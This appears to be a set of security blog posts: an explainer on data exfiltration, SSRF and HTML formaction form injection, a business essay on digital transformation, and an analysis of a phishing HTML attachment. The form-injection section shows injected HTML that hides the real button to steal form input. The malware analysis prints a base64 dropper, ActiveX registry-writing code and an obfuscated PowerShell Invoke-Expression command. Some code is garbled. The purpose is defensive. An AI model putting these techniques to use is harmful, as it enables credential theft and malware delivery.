Data exfiltration is the unauthorized transfer of sensitive information from a target’s network to a location which a threat actor controls”[02].   For the National Security and Organizations the worst scenario is when the attackers not only steal data (cyber-espionage) but also modify them producing cyber-sabotage.

The leakage of sensitive information from a protected network to an external network could result in serious damage to the organizations in terms of reputation, loss of revenue and legal consequences, for example:

  • National Security: the steal of classified documents may endanger national security;
  • Organizations: proprietary information can be sold to a rival company causing a loss of competitive advantage;
  • Citizens: the spreading of personal sensitive data could have serious privacy and security implications like Identity Theft by an ATO attack.

Sensitive proprietary digital information could be contained in:

  • static content: files, images, texts, spreadsheets, phone-books, agenda etc.;
  • dynamic content: multimedia sessions, telephone conversations, video conferences, chatting channels (text, video image).

The leakage can be done in several ways:

- the data are ex-filtrated without altering the original files;
- the data are modified: converted in new file format or encrypted;
- the data are hidden using steganography techniques;
- the data are ex-filtrated using a combination of the aforementioned techniques.



SSRF ( Server-Side Request Forgery) is  an external attack which lets an attacker send crafted requests from the back-end server of a vulnerable web application. SSRF is commonly used by attackers to target internal networks that are behind firewalls and can not be reached from the external network.


This image has an empty alt attribute; its file name is SSRF.png


SSRF - Server Side Request Forgery Schema


It is a web security vulnerability that allows an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing. Furthermore it could:

✔ potentially leaking sensitive data such as authorization credentials;
✔ might even allow an attacker to perform arbitrary command execution.



An attacker can export users’ sensitive data using “HTML form injection attack”. Here is an example of using the formaction attribute. According to the HTML 5 specification, it can be used to overwrite the action attribute of its parent form by specifying the URL of the file that will process the input control when the from is submitted.

Le us consider the following normal form in a HTML page:

<form action=”URL” ... >

list of couples (label, data-box)

<button type=”submit”... /> label </button>


We inject a formaction attribute:

<form action=”URL” ... >

list of couples (label, data-box)

<button type="submit" formaction="BAD URL "> Fake Search! </button>


The injected form sends its form-data to BAD URL instead of URL.



In this type of attack we use the formaction attribute which is fully supported by all browsers. It specifies where to send the form-data when a form is submitted by overriding the form's  action attribute. The following HTML code:

<h1>AUTHENTICATION System</h1> 

<div align="left">

<form action="/action.php" method="get">

<label for="nPSW">My Password:</label>
<input type="text" id="iPSW" name="nPSW"><br><br>

<button type="submit">Submit Password</button>

<button type="submit" formaction="/form_action.php">Submit Password to another page</button>



This image has an empty alt attribute; its file name is formaction.png


by clicking on Submit Password we have:


by clicking on Submit Password to another page we have:


The following HTML:


<form name="fsbycode" class="s4form" action="" method="post">

<h2>Search Guest By Numeric Code</h2>

Codice Numerico: <input type="number" autocomplete="on" id="icode" name="icode" autofocus placeholder="Insert Code Number" >

<input class="SButton" type="submit" value="Search!">



Produce this form in the web browser:


Normal Web Form

The attack on the web server can produce the following  abused HTML:

<form name="fsbycode" class="s4form" action="" method="post">

<h2>Search Guest By Numeric Code</h2>

Codice Numerico: <input type="number" autocomplete="on" id="icode" name="icode"
autofocus placeholder="Insert Code Number" >

<!-- BEGIN attacker's code -->
      <button type="submit" formaction=""> Fake Search! </button>
      <style> .SButton {visibility:hidden;} </style>
<!-- END attacker's code -->

<input class="SButton" type="submit" value="Search!">


As we can see in the above code, the correct button used for the submission of the form is hidden by using the style applied to the class .SButton <style> .SButton {visibility:hidden;} </style>.

The previous HTML shows in the browser:

Abused Web Form
By clicking on Fake Search! button the next HTTP request is produced:

Proxy-Connection: keep-alive
Content-Length: 16
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: null
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip,deflate,sdch
Accept-Language: it-IT,it;q=0.8,en-US;q=0.6,en;q=0.4,he;q=0.2


This show how the data are sent to the illegitimate web site "" instead of (the web site are only used for demonstration purposes of how the attack scheme works).



It is done by a trusted individual with legitimate access to its network and system resources.  Compared to external threats, insider threats are more dangerous and difficult to detect and prevent.  

if the insider individual uses the protected network to exfiltrate sensitive information, he could use several type of communication channel:

  • overt communication: preserving privacy by using encryption;
  • tunnelled communication: over authorized overt channel;
  • covert communication: using steganography techniques to cloak the content.




In order to face this serious problem the security system of a ICT infrastructure must be equipped with mechanisms for prevention, detection, damage limitation and monitoring.

In order to lower the risk of attacks, unauthorized communication channels should be blocked to prevent the exfiltration of data externally to the organization through compromised applications.

We need a system to detect when a web site is compromised to promptly react to the attack.
The use of Sensitive Information Dissemination Detection (SIDD) systems is a mechanism for stopping leakage of sensitive information on time. It monitors the outbound traffic from the protected network, taking actions responsively in case of suspect traffic of packets.

When the attack is in progress we have to limit the damages by closing any compromised channels.
After attack detection this is what must be done in order to minimize information leakage:

1) analyze what vulnerability has been exploited and if it is structural of the system or not;
2) harden the security of the information system to avoid another attack of the same type.

If the security system doesn't detect any problems, it is highly recommended to run a random deep security check because an information leakage could have been happened in a stealthy mode.



  1. Eric Y. Chen, Sergey Gorbaty, Astha Singhal and Collin Jackson: Self-Exfiltration: The Dangers of Browser-Enforced Information Flow Control, Carnegie Mellon University;
  3. Yali Liu, Cherita Corbett and Ken Chiang, Rennie Archibald, Biswanath Mukherjee and Dipak Ghosal, SIDD: A Framework for Detecting Sensitive Data Exfiltration by Insider Attack, University of California, Usa;
  4. Server-Side Request Forgery (SSRF);

Last update on 19/03/2022

Digital transformation (DT) is the process of integration of digital technology into all areas of a business to create new — or modify existing — business processes and customer experiences to meet changing business and market requirements. It's also a cultural change that requires organizations to continually challenge the status quo, experiment, and get comfortable with failure. It is important not to confuse Digital Transformation with investing in technology or digitalizing paper archives.

The revolution of Digital Transformation involves every aspect of modern society both public and private sectors.

It is essential to governments, as they have to keep up with the rapid changes through more efficient delivery of services and for the creation of the so-called “digital cities”. It is really urgent for industry, service companies, and so on as if they don’t transform themselves they have a high risk of extinction in a high competitive digitized economy.

While in the public sector the government should initiate and propel Digital Transformation, in the private sector instead this is up to CEO, who should be ready to explain to the board the power of digital technology applied to every aspect of the organization, especially in term of increasing in revenue.

Digital Transformation is a key factor of success to bring a traditional company to competitive company in a digitized economy.

CEO could adopt the follow approach:

  1. Leverage insiders. They have an intimate knowledge about what works and what doesn’t in their daily activity.
  2. Analyse customer experience from the outside. The goal of digital transformation is to improve customer satisfaction.
  3. Involve employees. They are an important key for the success of Digital Transformation. For this reason they mustn’t feel the fear of being replaced. On the contrary need to emphasize them that Digital Transformation is an opportunity to upgrade their expertise to suit the marketplace of the future.
  4. Analyse the present model of business, in particular realize which is the “core business” and what isn’t and therefore can be externalized.
  5. Define the concrete goals of the transformation: speed, innovation, high level of customer care but only in the direction of consolidating and increasing the core business.
  1. Elaborate a new model of business with the new technology (Cloud computing, Big Data, IoT, AI) and concrete goals in mind and using as reference the present one.
  2. decide which digital tools one should adopt
  3. elaborate a plan for employee training
  4. Implement the Digital Transformation based on new in theory working model of business step-by-step. It works better than all-or-nothing approach because after every step you can check and verify if you going to go in the right direction.


During the process of Digital Transformation a company must be protected by cyberattack which can stop the process or the company must fail by losing reputation with an impact on its core business. Cybersecurity must grow in parallel with the increasing digitalization of work processes. So to keep safe the constant Digital Transformation it is necessary to boost cybersecurity by integrating AI and ML technologies into security solutions and add regulations for data privacy and protection.

Cyber-attacks, espionage, sabotage and data theft are the major risk to business activities, so security and trust are essential for a successful digital transformation.

The Digital Transformation increases the attack surface because:

  • every company is becoming a data company;
  • employees have ubiquitous access to applications and data for more productivity;
  • customers use digital interaction.

So investing in cybersecurity means:

  • protecting data that are important for strategic advantage;
  • increasing and defending the reputation of the company;
  • avoiding money loss and the extinction of the company.

Cybersecurity minimizes the risk of a fail in the Digital Transformation and this is a must for the survival of transformed company.


[01] Thomas M. Siebel “Digital Transformation – Survive and Thrive in an Era of Mass Extinction”, RosettaBooks, New York 2019;

[02] Behnam Tabrizi, Ed Lam, Kirk Girard, and Vernon Irvin, “Digital Transformation is not about technology”, Harvard Business Review, 2021

Everyone knows by now that you have to be very careful when surfing the internet. A little carelessness can cost you a lot and can lead to the loss of data and information, which are the most precious intangible asset today. As 72% of attacks coming into organizations were reported to be attacks through email, in this post I warn again about HTML files that can be received by email as attachments. They seem harmless but looking at them closely they hide a thousand pitfalls and dangers.

At Application Level any device interact with the cyberspace mainly using mail client and web browser.

As a demonstration of the above I’m going to examine as much as possible an HTML file received as an attachment. It’s named “Covid_information.html”.

Parallel use of many attack techniques: Spear Phishing, Malicious code in an HTML file and Web browser vulnerabilities

The JavaScript code inside “Covid_information.html” is the following one.


  text=”a base-64 encoded long string of 1622 KB”

  function download(data, filename, type) {
    var file = new Blob([data], {type: type});
    if (window.navigator.msSaveOrOpenBlob) 
        window.navigator.msSaveOrOpenBlob(file, filename);
    else { 
        var a = document.createElement("a"),
                url = URL.createObjectURL(file);
        a.href = url; = filename;
        setTimeout(function() {
        }, 0); 
bt = atob(text);
bN = new Array(bt.length);
for(var i =0;i < bt.length; i++){
   bN[i] = bt.charCodeAt(i);
bA = new Uint8Array(bN);


The first statement is an assignment to the variable “text” of a base-64 encoded 1622 KB string. Practically this is the malicious payload to which we will give a look afterwards.

After the function “download”:

  1. creates a hyperlink on-fly;
  2. link to it a file created using the content of data variable;
  3. download this file. 

The following statement decode the base-64 content of “text” using the atob() function.

The any char is transcoded to Unicode using charCodeAt() function. At the end the file named "Covid.iso" is downloaded to the local storage.

An outlook to Covid.iso file.

The file Covid.iso encapsulated an HTML file with the following JavaScript code:

    <script language="javascript">
    var a = new ActiveXObject('Wscript.Shell');
    function start() {
        res = document.getElementById("p1").innerHTML;
        a.RegWrite("HKEY_CURRENT_USER\\SOFTWARE\\JavaSoft\\Ver", res, "REG_SZ");
        res = document.getElementById("p2").innerHTML;
        a.RegWrite("HKEY_CURRENT_USER\\SOFTWARE\\JavaSoft\\Ver2", res, "REG_SZ");
        res = document.getElementById("c1").innerHTML;
        res += document.getElementById("c2").innerHTML;
        res += document.getElementById("c3").innerHTML;
        res += document.getElementById("c4").innerHTML;

        res += document.getElementById("c5").innerHTML;
        a.Run(res, 0);

In this code what is crucial is the content of DOM elements which are on board of HTML file, that is: p1,p2,c1,c2,c3,c4 and c5.

These elements are used for a kind of obfuscation; because they are then assembled together in order to execute any sort of code in the host machine.

P1= (“a base-64 encoded long string”) containing a binary.

P2= (“a base-64 encoded long string”) containing code:


c2=hell -C Invo

c3=ke-Expression (g

c4=p HKCU:\\SO


the final command is:

powershell -C Invoke-Expression (gp HKCU:\\SOFTWARE\\JavaSoft).Ver

Invoke-Expression cmdlet is used to perform a command or expression on local computer.

Even if the above analysis is not complete, it demonstrates a high level of sophistication resulting from guys with a high level of know-how.

So beware of attachments in HTML format!